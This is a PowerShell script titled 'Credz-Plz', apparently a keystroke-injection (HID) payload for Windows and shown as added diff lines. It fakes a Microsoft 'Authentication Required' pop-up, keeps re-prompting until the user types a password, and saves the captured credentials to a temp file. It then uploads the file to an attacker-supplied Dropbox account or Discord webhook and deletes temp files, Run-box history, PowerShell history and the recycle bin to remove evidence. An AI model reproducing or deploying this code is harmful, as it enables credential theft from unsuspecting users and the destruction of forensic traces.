| 1 | + | ############################################################################################################################################################ |
| 2 | + | # | ___ _ _ _ # ,d88b.d88b # |
| 3 | + | # Title : Credz-Plz | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # |
| 4 | + | # Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # |
| 5 | + | # Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # |
| 6 | + | # Category : Credentials | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # |
| 7 | + | # Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ # |
| 8 | + | # Mode : HID | |\__/,| (`\ # / -\ /- ~\ # |
| 9 | + | # | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # |
| 10 | + | # | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # |
| 11 | + | # | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # |
| 12 | + | #__________________________________|_________________________________________________________________________# | | ) ~ ( # |
| 13 | + | # tiktok.com/@i_am_jakoby # / \ / ~ \ # |
| 14 | + | # github.com/I-Am-Jakoby # \ / \~ ~/ # |
| 15 | + | # twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# |
| 16 | + | # instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# |
| 17 | + | # youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# |
| 18 | + | ############################################################################################################################################################ |
| 19 | + | |
| 20 | + | <# |
| 21 | + | .SYNOPSIS |
| 22 | + | This script is meant to trick your target into sharing their credentials through a fake authentication pop up message |
| 23 | + | .DESCRIPTION |
| 24 | + | A pop up box will let the target know "Unusual sign-in. Please authenticate your Microsoft Account" |
| 25 | + | This will be followed by a fake authentication ui prompt. |
| 26 | + | If the target tried to "X" out, hit "CANCEL" or while the password box is empty hit "OK" the prompt will continuously re pop up |
| 27 | + | Once the target enters their credentials their information will be uploaded to either your Dropbox or Discord webhook for collection |
| 28 | + | .Link |
| 29 | + | https://developers.dropbox.com/oauth-guide # Guide for setting up your DropBox for uploads |
| 30 | + | #> |
| 31 | + | |
| 32 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 33 | + | # This is for if you want to host your own version of the script |
| 34 | + | |
| 35 | + | # $db = "YOUR-DROPBOX-ACCESS-TOKEN" |
| 36 | + | |
| 37 | + | # $dc = "YOUR-DISCORD-WEBHOOK" |
| 38 | + | |
| 39 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 40 | + | |
| 41 | + | $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt" |
| 42 | + | |
| 43 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 44 | + | |
| 45 | + | <# |
| 46 | + | .NOTES |
| 47 | + | This is to generate the ui.prompt you will use to harvest their credentials |
| 48 | + | #> |
| 49 | + | |
| 50 | + | function Get-Creds { |
| 51 | + | |
| 52 | + | $form = $null |
| 53 | + | |
| 54 | + | while ($form -eq $null) |
| 55 | + | { |
| 56 | + | $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password |
| 57 | + | |
| 58 | + | if ($cred.Password -eq "") |
| 59 | + | { |
| 60 | + | Write-Output "Credentials cannot be left blank. Please try again." |
| 61 | + | $cred = $null |
| 62 | + | } |
| 63 | + | |
| 64 | + | else{$creds = $cred.GetNetworkCredential() | fl |
| 65 | + | return $creds} |
| 66 | + | } |
| 67 | + | } |
| 68 | + | |
| 69 | + | #---------------------------------------------------------------------------------------------------- |
| 70 | + | |
| 71 | + | <# |
| 72 | + | .NOTES |
| 73 | + | This is to pause the script until a mouse movement is detected |
| 74 | + | #> |
| 75 | + | |
| 76 | + | function Pause-Script{ |
| 77 | + | Add-Type -AssemblyName System.Windows.Forms |
| 78 | + | $originalPOS = [System.Windows.Forms.Cursor]::Position.X |
| 79 | + | $o=New-Object -ComObject WScript.Shell |
| 80 | + | |
| 81 | + | while (1) { |
| 82 | + | $pauseTime = 3 |
| 83 | + | if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ |
| 84 | + | break |
| 85 | + | } |
| 86 | + | else { |
| 87 | + | $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime |
| 88 | + | } |
| 89 | + | } |
| 90 | + | } |
| 91 | + | |
| 92 | + | #---------------------------------------------------------------------------------------------------- |
| 93 | + | |
| 94 | + | # This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off |
| 95 | + | |
| 96 | + | function Caps-Off { |
| 97 | + | Add-Type -AssemblyName System.Windows.Forms |
| 98 | + | $caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') |
| 99 | + | |
| 100 | + | #If true, toggle CapsLock key, to ensure that the script doesn't fail |
| 101 | + | if ($caps -eq $true){ |
| 102 | + | |
| 103 | + | $key = New-Object -ComObject WScript.Shell |
| 104 | + | $key.SendKeys('{CapsLock}') |
| 105 | + | } |
| 106 | + | } |
| 107 | + | #---------------------------------------------------------------------------------------------------- |
| 108 | + | |
| 109 | + | <# |
| 110 | + | .NOTES |
| 111 | + | This is to call the function to pause the script until a mouse movement is detected then activate the pop-up |
| 112 | + | #> |
| 113 | + | |
| 114 | + | Pause-Script |
| 115 | + | |
| 116 | + | Caps-Off |
| 117 | + | |
| 118 | + | Add-Type -AssemblyName PresentationCore,PresentationFramework |
| 119 | + | $msgBody = "Please authenticate your Microsoft Account." |
| 120 | + | $msgTitle = "Authentication Required" |
| 121 | + | $msgButton = 'Ok' |
| 122 | + | $msgImage = 'Warning' |
| 123 | + | $Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage) |
| 124 | + | Write-Host "The user clicked: $Result" |
| 125 | + | |
| 126 | + | $creds = Get-Creds |
| 127 | + | |
| 128 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 129 | + | |
| 130 | + | <# |
| 131 | + | .NOTES |
| 132 | + | This is to save the gathered credentials to a file in the temp directory |
| 133 | + | #> |
| 134 | + | |
| 135 | + | echo $creds >> $env:TMP\$FileName |
| 136 | + | |
| 137 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 138 | + | |
| 139 | + | <# |
| 140 | + | .NOTES |
| 141 | + | This is to upload your files to dropbox |
| 142 | + | #> |
| 143 | + | |
| 144 | + | function DropBox-Upload { |
| 145 | + | |
| 146 | + | [CmdletBinding()] |
| 147 | + | param ( |
| 148 | + | |
| 149 | + | [Parameter (Mandatory = $True, ValueFromPipeline = $True)] |
| 150 | + | [Alias("f")] |
| 151 | + | [string]$SourceFilePath |
| 152 | + | ) |
| 153 | + | $outputFile = Split-Path $SourceFilePath -leaf |
| 154 | + | $TargetFilePath="/$outputFile" |
| 155 | + | $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' |
| 156 | + | $authorization = "Bearer " + $db |
| 157 | + | $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" |
| 158 | + | $headers.Add("Authorization", $authorization) |
| 159 | + | $headers.Add("Dropbox-API-Arg", $arg) |
| 160 | + | $headers.Add("Content-Type", 'application/octet-stream') |
| 161 | + | Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers |
| 162 | + | } |
| 163 | + | |
| 164 | + | if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\$FileName} |
| 165 | + | |
| 166 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 167 | + | |
| 168 | + | function Upload-Discord { |
| 169 | + | |
| 170 | + | [CmdletBinding()] |
| 171 | + | param ( |
| 172 | + | [parameter(Position=0,Mandatory=$False)] |
| 173 | + | [string]$file, |
| 174 | + | [parameter(Position=1,Mandatory=$False)] |
| 175 | + | [string]$text |
| 176 | + | ) |
| 177 | + | |
| 178 | + | $hookurl = "$dc" |
| 179 | + | |
| 180 | + | $Body = @{ |
| 181 | + | 'username' = $env:username |
| 182 | + | 'content' = $text |
| 183 | + | } |
| 184 | + | |
| 185 | + | if (-not ([string]::IsNullOrEmpty($text))){ |
| 186 | + | Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; |
| 187 | + | |
| 188 | + | if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} |
| 189 | + | } |
| 190 | + | |
| 191 | + | if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\$FileName} |
| 192 | + | |
| 193 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 194 | + | |
| 195 | + | <# |
| 196 | + | .NOTES |
| 197 | + | This is to clean up behind you and remove any evidence to prove you were there |
| 198 | + | #> |
| 199 | + | |
| 200 | + | # Delete contents of Temp folder |
| 201 | + | |
| 202 | + | rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue |
| 203 | + | |
| 204 | + | # Delete run box history |
| 205 | + | |
| 206 | + | reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f |
| 207 | + | |
| 208 | + | # Delete powershell history |
| 209 | + | |
| 210 | + | Remove-Item (Get-PSreadlineOption).HistorySavePath |
| 211 | + | |
| 212 | + | # Deletes contents of recycle bin |
| 213 | + | |
| 214 | + | Clear-RecycleBin -Force -ErrorAction SilentlyContinue |
| 215 | + | |
| 216 | + | exit |
| 217 | + | |